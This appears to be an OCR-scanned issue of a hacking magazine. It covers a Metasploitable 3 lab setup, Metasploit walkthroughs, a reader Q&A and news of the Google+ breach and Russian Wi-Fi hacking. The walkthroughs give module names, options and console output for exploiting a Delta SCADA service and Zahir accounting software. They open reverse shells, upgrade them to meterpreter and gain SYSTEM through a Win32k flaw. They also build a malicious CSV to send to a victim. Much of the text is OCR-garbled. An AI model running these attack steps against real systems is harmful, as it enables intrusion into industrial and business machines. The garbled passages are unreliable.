The v s Macte cepor s Tt P guest 05 doss rol sopo ! meswese pombes mlegretion 1 T (el ades mode Tou reed o LEphue Pe vouse by 0eg over B oM dagis) o reseryy

The Virtual Machine reports that the guest OS does not support mouse pointer integration n the curent video mode. You need to capture the

T+ Admmistrator: C:\Wmdows \System32\cmd.exe

Down loading Windows Management Framework 5.9
starting installation process:

Hand lecs NPHRCK) PRCK) SCK) UMM CPUCs ) Id ProcessMName

q7 5 116089 2996 55 u.o9

Need any new feature or a tutorial included. Send us
your requests to
ga@hackercool.com

In the below images we can see the virtual machine downloading and installing Dotnet and
iIndows Management Framework respectively as part of the building process.




he system will also restart many times during the configuration process. You may login into
the virtual machine if you want. The password for vagrant is "vagrant”. Also take care not to

Upport mouse pointer mtegration n the current video mode. You need to capture the mouse (Dy Aidang over the VM display or pressing the host key) n order (o

& k

shut down the virtual machine mistaking it to be finished. the building process is not finished
until there is a message in command line saying "Builds finished" as shown below.

After the image is successfully built, run another command as shown below.

niuman sl e P— -l . ——_ ) C 7y & i y - . T . . . S sammenML-0
vagrant box add packer/bullds/winaows 2008 r. U.1.0.box --name =metasploitable3-winZk

The name is your choice though. This command will setup the Windows server 2008 with all
vulnerable softwares into virtualbox.

After the command gets finished executing, run another command vagrant up.

his commands may take a bit long time to finish executing and the vagrant up command wi
Il end as shown below.




he Metasploitable 3 Virtual machine will be up and ready as shown below. Login into the

12

ﬁ 0 Type here 1o search U ' H m
irtual machine and you will see this as shown below.

- ; . Eidam
[ stant -& (2 , *EED e

dT AN D Sy

v

‘ 0 Twpe here 10 sedrch m E :‘, ": -q .

e have successfully installed Metasploitable 3 in Virtualbox. In our coming issues, we will
learn more about Metasploitable 3 and the vulnerabilities present in it. Until then, Good Bye.

If you have any doubts in this article or if you are facing
any problems during this installation, send them to to
ga@hackercool.com

(" Delta Industrial Automation COMMGR 1.08, Zahir Enterprise Plus 6 BOF Modules )

METASPLOIT THIS MONTH )

'Welcome to this month's Metasploit This Month feature. We are ready with the latest exploit
Imodules of Metasploit.

Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow Module

TARGET: Windows XP SP3, 7 SP1, 8.1 TYPE: Remote FIREWALL : ON
Delta Electronics is a company that makes many products used for Industrial automation. On
-e of its products Delta Industrial Automation, version 1.08 has a stack buffer overflow vulner
-ability that can be exploited remotely. This vulnerability exists in COMMGR.exe when it han-
dles specially crafted packets. This module has been tested on Windows 7 SP1.

Let us see how this module works.Start Metasploit and load the exploit/windows/scada/
delta_ia_commgr_bof module as shown below. Type the command show options to have a
ook at all the options this module requires. As you can see in the image shown below, this m

odule needs only rhosts option to be set.

et the rhosts option which is the IP address of our target. This module doesn't support the
heck command.

"'TEJ tﬂni-1||

4 i

Ithough this module is supposed to support the meterpreter payload, we are unable to get it
un successfully. So we will set the windows/shell/reverse tcp payload. The plan is to get a
pormal shell and later upgrade it to a meterpreter shell.




RHOSTS 192.168.41.141 yes The target address range or CIDR identifie

RPORT 502 yes The target port (TCP)

Payload options (windows/shell/reverse tcp):
Name Current Setting Requlred Description

EXITFUNC thread
d, process, none)

LHOST 192.168.41.163 yes The listen address (an interface may be
specified)

LPORT 4444

Exit technique (Accepted: '', seh, threa

The listen port

Exploit target:
Id Name

0 COMMGR 1.08 / Windows Universal

msfS exploit(

After setting the payload, execute the module using the run command as shown below. The
If everything goes well, we will get a normal command shell on the target as shown below.

msfS exploit( ) > run

Started reverse TCP handler on 192.168.41.163:4444

192.168.41.129:502 - Trying target COMMGR 1.08 / Windows Universal, sending
4601 bytes...
| *] Encoded stage with x86/shikata ga nal

Sending encoded stage (267 bytes) to 192.168.41.129

Command shell session 1 opened (192.168.41.163:4444 -> 192.168.41.129:49159)
at 2019-03-23 06:36:11 -0400

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files\Delta Industrial Automation\COMMGR 1.08>

POST Multi Manage Shell To Meterpreter Module

TARGET: Most OS already exploited TYPE: Remote FIREWALL : ON
e are not always lucky to get a meterpreter shell on the target we are trying to penetrate in
to. As in the above module, we might just get a normal shell. Metasploit has a POST exploit-
ation module using which we can upgrade this normal shell to a meterpreter shell. Let us see

how this module works. In the above scenario (we are using the same scenario as above),
background the current shell we got on the target using command by hitting CTRL +Z as sho

wn in the image below.

[*] Started reverse TCP handler on 192.168.41.163:4444

[ *] 192.168.41.129:502 - Trying target COMMGR 1.08 / Windows Universal, sending

4601 bytes...

[*] Encoded stage with x86/shikata ga nal

| *] Sending encoded stage (267 bytes) to 192.168.41.129

[*] Command shell session 1 opened (192.168.41.163:4444 -> 192.168.41.129:49159)
at 2019-03-23 06:36:11 -0400

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Program Files\Delta Industrial Automation\COMMGR 1.08>"Z
Background session 17 [y/N] vy

he session |D of our backgrounded session is "1". We need to remember this. Now using
search command, search for shell to_meterpreter module as shown below.

msfS exploit( ) > search shell to meterpreter

Matching Modules

Disclosure Date Rank Check Descr
iption

post/multi/manage/shell to meterpreter normal No
to Meterpreter Upgrade

Load the post/multi/manage/shell to _meterpreter module as shown below. Type the comma
nd show options to have a look at all the options this module requires. As you can see in the
image shown below, this module needs the LHOST and SESSION options where LHOST is
he IP address of the attacker machine (i.e Kali Linux).

msfS exploit( ) > use post/multi/manage/shell to
meterpreter
msfS post( ) > show options

Module options (post/multi/manage/shell to meterpreter):

Name Current Setting Requlired Description

HANDLER true Start an exploit/multi/handler to receive
the connection
LHOST IP of host that will receive the connecti
on from the payload (wWill try to auto detect).
LPORT 4433 yes Port for payload to connect to.

SESSION yes The session to run this module on.

msfS post( ) > l

Set the SESSION id and LHOST options and execute the module using the run command as
hown below. The module will start a reverse tcp handler and execute as shown in the image
below.




) > set session 1
ackground._

) > set Lhost 192.168.41.163
'.168.41.163

ettings ) > run

Ig session ID: 1
| exploit/multi/handler
|*] Started reverse TCP handler on 192.168.41.163:4433
|*] Post module execution completed
msfS postl(
hen we run sessions -l command, we can see two shells now : the normal shell we got bef-

ore and the meterpreter shell we got just now.

msfS post( | sessions -1

ACtlve sesslons

Id Name Information
nnection

shell x86/windows 19
2.168.41.163:4444 -> 192.168.41.129:49159 (192.168.41.129)

. meterpreter x86/windows WIN-BI3UKS5VF6A\admin @ WIN-BI3UKS55VF6A 19
2.168.41.163:4433 -> 192.168.41.129:49163 (192.168.41.129)

msfS post(
e can interact with the meterpreter session using its session id as shown below.

msfS post( ) > sessions -1 2
|*] Starting interaction with 2...

meterpreter > sysinfo

Computer : WIN-BI3UKS5VFOA

0S : Windows 7 (Build 7600).
Architecture : xX86

system Language : en US

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : X86/wlindows
meterpreter > getuld

Server username: WIN-BI3UKS55VF6A\admin
meterpreter >

2018-8120 Windows Win32k Privilege Escalation Module

ARGET: Windows TYPE: Remote FIREWALL : ON
his is a Windows privilege escalation module that works by exploiting a vulnerability in the
indows Win32k component. This vulnerability exists as Win32k component fails to properly

handle some objects in memory. By exploiting this vulnerability, attacker can run any code wi

the privileges of a kernel. As with any privilege escalation module the attacker first needs
0 gain access to the target before running this module. Let us see how this module works.
Background the meterpreter session we got on the target as shown below and search for the
ms18 8120 module using the search command.
meterpreter > background
[*] Backgrounding session 2...
msfS postl ) > search msl8 8120

Matching Modules

Disclosure Date Rank Check
Description

exploit/windows/local/msl8 8120 win32k privesc 2018-05-09
Windows SetImelInfoEx Win32k NULL Pointer Dereference

msfS post( ) > l

Load the exploit/windows/local/ms18 8120 win32k privesc module as shown below. Type t-
he command show options to have a look at all the options this module requires. As you can
see in the image shown below, this module needs only option, that of SESSION id.

msfS post( ) > use exploit/windows/local/msl8 81
20 win32K privesc

msfS exploit( ) > show options

Module options (exploit/windows/local/msl8 8120 win32k privesc):

Name Current Setting Requlired Description

SESSION The session to run this module on.

Explolt target:
Id Name

0 Automatic

Set the SESSION id and execute the module using the run command as shown below. The
module will execute and open a new meterpreter session 3 as shown in the image below.

msfS exploit( ) > set session 2
session => 2

) > run

| Started reverse TCP handler on 192.168.41.163:4444
|+] Exploit finished, walt for privileged payload execution to complete.
1 *] Sending stage (179779 bytes) to 192.168.41.129
| *] Meterpreter session 3 opened (192.168.41.163:4444 -> 192.168.41.129:49166)
t 2019-03-23 06:46:41 -0400




he sessions -| command now shows the third meterpreter session which has SYSTEM privil
eges as shown below. We can interact with this meterpreter session using its session id as
hown below,
msfS explolit( ) > sessions

ACtlve sesslons

Id Name Information
nnection

shell x86/windows
2.168.41.163:4444 -> 192.168.41.129:49159 (192.168.41.129)
2 meterpreter x86/windows WIN-BI3UKS55VF6A\admin @ WIN-BI3UKS5VFG6A
2.168.41.163:4433 -> 192.168.41.129:49163 (192.168.41.129)
3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-BI3UKS55VFG6A
2.168.41.163:4444 -> 192.168.41.129:49166 (192.168.41.129)

msfS exploit( ) > sessions -1 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Zahir Enterprise Plus 6 Build 10b Buffer Overflow Module

TARGET: Windows 7, 8.1, 10 TYPE: LOCAL FIREWALL : ON
ahir Enterprise is an accounting software used by many companies since around 20 years.
he program version Build 10b has a buffer overflow vulnerability. This buffer overflow vulne-

rability occurs when the program cannot handle large inputs and anomalies in a file sent by

us. The program crashes while trying to handle it. Let's see how this module works.
Start Metasploit and using search command, search for zahir module as shown below.

» search zahir

Matching Modules

Disclosure Date Rank

exploit/windows/fileformat/zahir enterprise plus csv 2018-09-28 normal
No Zahir Enterprise Plus 6 Stack Buffer Overflow

Load the exploit/windows/fileformat/zahir_enterprise plus csv module as shown below.Type
he command show options to have a look at all the options this module requires. As this is a
local exploit, it has no options. When we run this exploit. we create a .CSV file which we nee-
d to send to the victim. When our victim opens this file with a vulnerable version of the Zahir
Enterprise software, we get a meterpreter session on the target.

msfS > use exploit/windows/fileformat/zahir enterprise plus csv
msfS exploit( ) > show options

Module options (exploit/windows/fileformat/zahir enterprise plus csv):
Name Current Setting Requlred Description

The malicious file name

Exploit target:

Id Name

0 Zahir Enterprise Plus 6 <= build 16b

msfS exploit(
First, let us set the payload for this exploit. Here we are setting the windows/meterpreter/reve

rse tcp payload. as shown below.

msfS explolit( ) > set payload windows
/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

msfS exploit( ) > show options

Module options (exploit/windows/fileformat/zahir enterprise plus csv):
Name Current Setting Required Description

The maliclious file name

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Requlired Description

Exit technique (Accepted: '', seh, threa

d, process, none)
LHOST The listen address (an interface may be

speciflied)

LPORT 4444 The listen port

**DisablePayloadHandler: True (RHOST and RPORT settings will be ignored!)**

Set the LHOST (the |IP address of attacker machine) and execute the module using the run
ommand as shown below.As we can see in the image below,it creates a file named msf.csv
hich we need to send to our victim.

msfS exploit( ) > set lhost 192.168.4

1.163
Lhost => 192.168.41.163
msfS exploit(

|+] msT.csv stored at /root/.mstT4/local/msft.csv
msfS exploit(




Before we send the msf.csv file to the target, we need to start a local listener with the same

options set as shown below.

msfS exploitl

andler

msfS exploitd |

payload => windows/meterpreter/reverse

ms T 5 exp ‘h O11T¢ ) > I

[d Name

0 Wildcard Target

mstTS explolit| ) > run

) > use exploit/multi/h

» Sel [:.i}'ﬂ oad winadows/meterpreter/reverse tcp

T_{'{J

Start the listener using the run command. When our victim opens the malicious file sent by u-
s, we successfully get a meterpreter session as shown below.

Started reverse TCP handler on 192.168.41.163:4444

sending stage (179779 bytes) to 192
Meterpretel
t 2019-03-24 0/:06:30 -0400

meterpreter > I

.168.41.142
session 4 opened (192.108.41.103:4444 ->

192.168.41.142:49000) a
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HACKING Q & A

~N

/

'Q: How can a beginner learn Linux?

A: There are many ways a beginner can learn
Linux but | found the website Learn the Linux
icommand line. Write shell scripts.

(htt - rg) very helpful. | ha
-ve learnt my Linux from there and people sa-
y my Linux scripting is good. The tutorials are
also very user friendly and in detail for beginn
-ers.

'Q: Have you ever hacked into someone's
computer?

A : Let's just assume | have hacked into som-
e one's computer. What makes you think | will
iagree to this on a platform where my answer
will be viewed by millions.

So, NO. | didn't hack into anyone’s comput
-er. All | hacked into were hacking labs create
-d by myself for my magazine given below.
https://hackercoolmagazine.com

'Q : For an Ethical Hacker, which should |
prefer for web application penetration testi
-ng, network penetration or software pene-

tration testing and which is easy to unders
-tand?

A: As an ethical hacker, this is a choice you s-
hould make. Try all of them : web penetration
testing, network penetration testing and softw
-are penetration testing. Then see which one
of them you find interesting and settle for that.
Web Application Penetration Testing is conce
-rned about security of websites and the web
applications used in those websites. Network
penetration testing is concerned about securit
-y about computer networks which includes ro
-uters, switches, honeypots, Intrusion Detecti-
on Systems, Intrusion Prevention Systems, Fi
-rewalls etc. Software penetration testing is c-
oncerned about buffer overflows and other vul
nerabilities in various computer applications
we use.

Try out all of them and settle for one which
you find very interesting. But whatever you se
ttle for, always keep honing your skKills.
(Cont'd on next page)

We cannot say what's easy and hard. It depe-
nds on person to person. For example, | find
Meb application pen testing very easy althou-

h | dabble in all.

: What programming language should |

tart learning if | want to be an ethical
hacker? And what do | need to master in a
language before moving to other as | read
omewhere that to be a hacker you need

o know multiple languages?

: You don't learn programming languages t-

become an ethical hacker but you learn the-
m as part of your hacking journey. If you are
@ beginner who has just started his journey in
cyber security then just a general idea of data
-bases and programming languages are enou
-gh. However if you are already in the midst
of the journey in cyber security, learning the
programming languages and improving knowl

dge is important. It improves your profile in
the field of ethical hacking. No ethical hacker
ican be considered elite as long as he works
on tools others made.
If you want to start learning a programming
language, my suggestion is you start with
Python. Most of the exploits coded nowadays
to take advantage of a vulnerability are coded
either in Python, C, CPP,Ruby etc. My sugge
stion to you is to start with Python as it is not
only easy to learn but also has versatile usag-
€ in cyber security domain. Once you master
Python, learning all other programming langu
-ages will be a lot easier.
Q : How tough is the hacking now days gi-
wven the fact that we have so many best pr-
actices being followed across most of the
industries?
A: “Tough” and “easy” are relative terms. Wh-
at is easy for someone may be tough for othe
-rs while what is tough for someone may be
easy for others. In my opinion, hacking is an
evolution where both black hat hacking and w
-hite hat hacking evolve with respect to other-
s. Coming to the “best practices” you mention
ed about, these practices are only best until
they get hacked.
| remember a saying my mentor told me while

| was learning ethical hacking

**Even a 100% safe computer is just 97%
safe. **

Q : What is the definition of a hacker?

A; A hacker is a person who hacks into or bre
-aks into things or devices or for that matter
any resource. What | mean by breaking or ha-
cking is taking control of that resource or devi
ce in an unusual manner other than the usual
one.

Q: Is there any website like Stack Overflow
and Stack Exchange for hackers?

A: Hackforums and The Enigma Group - The
Enigma Group (The Enigma Group - The
Enigma Group (http://enigmagroup.org)) are
two online platforms | found helpful to discuss
questions related to ethical hacking and cyber
security.

Q : As an ethical hacker, how can one prac
-tice DDoS attack?

A : DDos stands for Distributed Denial Of Ser-
vice attack. In this attack we perform a DOS a
-ttack from multiple machines. To practice this
attack as an ethical hacker you need to setup
a hacking lab where the target resource is on
one machine and there are four or five machi-
nes with the attacking software ( Yes, there
are various programs in Kali Linux whose spe
-cific function is to perform DOS).

If the above scenario is not feasible, setup a
virtual lab using Virtualbox or Vmware. Create
multiple virtual machines of Kali Linux (Create
one and take copies) and setup a target
virtual machine which we want to target.
NOTE : This scenario needs enough RAM.

N

Send all
your questions
regarding
hacking
to
ga@hackercool.com
——




4 GOOGLE PLUS )

Iéc:u:::glt-:-+ is (that is if you don't know already) Kl iermatl I

ia social networking service created by the co-
mpany Google to rival Facebook. Launched
in the year 2011, it became the latest victim o
-f data breach.

What?

Data belonging to atleast 500,000 Google +
@accounts got leaked as part of this breach. Ac
~cording to Google the leaked data included
istatic and optional Google+ profile fields whic
-h may include name of the users, their email
address, occupation, gender and age. Google
has clarified that data
iconnected to Google+
ior any other service, lik-

-ages, Google account
data, phone numbers or

Suite content has not
been leaked. The shock
ing part is that Google
has no idea as to which
laccounts were affected and has not even ma-
de public which apps are affected.

How?

In March 2018, the internal security team of
IGoogle, named Project Strobe discovered a b
-ug in the code of Google+ while looking for t-
he parts of code which granted outside devel-
opers overly broad access.
Although discovered only in March of
12018, the software bug appeared to be prese-
nt from a long time and was exploited almost
between years 2015 to 2018. Users can grant
laccess to their personal data to some Google
+ apps using the same API that had the vulne
-rability, so we can assume that some extern-
al apps also had access to this leaked data.
Although Google was aware of the breach
in March 2018 only, it decided not to reveal it
ias they thought it would damage the reputatio
-n of the company and also bring untoward
comparison to the Facebook's Cambridge
IAnalytica scandal. Even Google CEO Sundar
Pichai was privy to this decision.

HACK OF THE MONTH

As soon as Google knew about this bug, they
patched it. Days after the breach was made
public Google decided to shut down Google+
social networking service for consumers while
businesse s will still be able to use it. Google
said that it is taking this decision due to the
unpopularity of the service among users. But
many speculate this decision was taken due
to many bugs existing in the core of the APIs.
The shutting down of the service will be comp
leted by August 2019 and Google said that it
will inform users on ho

"Although Google was aware -w to download and mi
of the breach in March 2018
€ Google+ posts, mess On’y, it dGCidEd not to revea’ it announced that it will b
as they thought it would
damage the reputation of the
company.”

-grate their data soon.
Google has also

-e introducing the muc-
h needed granular acc
ess control to its other
services. With granular
control, permissions if
needed by apps will be shown in individual di-
alog boxes. This will give more control to the
users when they give an app access to their
Google Account.

At present, when an app is given permis-
sion to access your Google account, all reque
-ested permissions are shown in a single scre
-en. They have said on their blog "In the futur-
e, third-party apps will have to show you each
requested permission, one at a time, within its
own dialog box."

Our Opinion
Day by day, our faith in tech companies to saf
-eguard our data is decreasing rapidly. The w
-ay Google, one of the topmost companies ha
-ndled their data breach has dented the trust
in these companies to protect our data. The |-
ack of knowledge about the accounts which w
-ere impacted due to this breach has only ma-
de matters worse. However the decision of
the company to introduce "granularization”
Into the security posture is a step in the positi-
ve direction.

-

Hague, Capital of Netherlands, April 2017
Dutch Intelligence agents zero in on a car par
-ked around the outskirts of Organization for
the Prohibition of Chemical Weapons. They
arrest four people, all Russians from inside th
-e car. These four Russian hackers were in th
-e midst of hacking into the WIF| network of
OPCW. The Dutch Intelligence agents zeroed
in on their target when they detected the Rus-
isian hackers activating their hacking equipme
-nt from inside their car.
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The Russian agents had hired a car for rent
r—md setup a large antenna in the car's trunk
hidden under a black jacket. This antenna whi
-ch was connected to a laptop and an externa
-| power supply was placed facing the directio
-n of the OPCW building. After their hacking
attempt was halted, these Russian hackers w
-ere deported to their country Russia.
Although the Dutch government deport
ed the Russian hackers, they seized the equi-
pment from the car the Russians rented. This
\equipment will open a new angle in the allege
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-d Russian hacking operations.

From the equipment seized by the Dut
-ch intelligence, they got to know that the Rus
-sian hackers connected to Wi-Fi networks at
several locations using the same laptops and
phones used during the present hack. They
eve retrieved a photo of Serebriakov (one of t
-he Russian hackers) at Rio olympics.

The equipment also contained a a Wi-Fi
pineapple and also a device to secretly interc-
ept Wi-Fi traffic. A Wi-Fi pineapple is a device
used to spoof a genuine Wifi network to foolin
-g users to connect to the fake Wi-Fi point. Th
- authorities also got some cash and also inf
-ormation about their next intended targets.

% e % e de ke de ke

This was only one of the hacking operations
performed by Russian hackers or maybe this
was one operation in which they were caught.
The US Department of Justice and the Dutch
(Cont'd on Next Page)
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Intelligence say they have detected multiple
cases exactly like these from Rio De janeiro
in Brazil to Lausanne in Switzerland and Mon
-aco.

All this reveals that this Russian hacking oper
@ation is very huge and and mostly state spon
-sored. But why would they take the risk of ge
tting caught by participating in a hacking oper
-ation where their presence was necessary.
Till now all the hacking operations involving R
-ussian hackers was by remote means wheth
-er it was spear-phishing or installing a malwa
-re on the target's systems.
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US Department Of Justice recently indicted 7
Russian hackers (most of them are Russian
Intelligence officers) on charges of various ha
cking crimes. This is what the indictment of
the US DOJ said, " When the conspirators’ re
imote hacking efforts failed to capture log-in cr
iedentials, or if those accounts that were succ-
\essfully compromised did not have the neces-
sary access privileges for the sought-after inf-
lormation, teams of GRU intelligence officers
(traveled to locations around the world where
targets were physically located using speciali-
zed equipment, and with the remote support

~

HACKSTORY (Cont'd)

of conspirators in Russia, these on-site teams
hacked into Wi-Fi networks used by victim org
anizations or their personnel, including hotel
Wi-Fi networks".

John Hultquist, the director of FireEye cyber
security firm says that this hacking operation,
where the hackers have to be physically pres-
ent near the location of the target is too risky
with a high chance of getting caught but this
also provides more chances of getting into a
network.

"If they're willing to play like
this, they are extremely aggressive,
"It’s risky and brazen that they're
doing this physically."

-John Hultquist.

Director FireEye.

This hacking attack shows the brazenness of
the Russian hackers where they are least con
-cerned about the consequences may present
new challenges. The Dutch and Americans re
-sponded just by naming and shaming them
instead of taking any action on the charges pr
-essed against them.

US attorney Scott Brady, in a press confe
-rence opined that this naming and shaming
will serve as a warning to the Kremlin and its
associated hackers. He also said that those a
ccused of hacking charges will be treated as
criminals when they move outside their countr
-y.

The most important lesson we need to lea
rn from this story is about our Wireless securit
-y. Those who use Wi Fi should set a strong p
-assword which is difficult to crack with brute
forcing. Another important measure to notice
while connecting to a wireless network is to
check carefully whether they are connecting
to a genuine wireless network or a spoofed wi
-reless network wherever they are. As the old
adage goes, prevention is always better than
cure.
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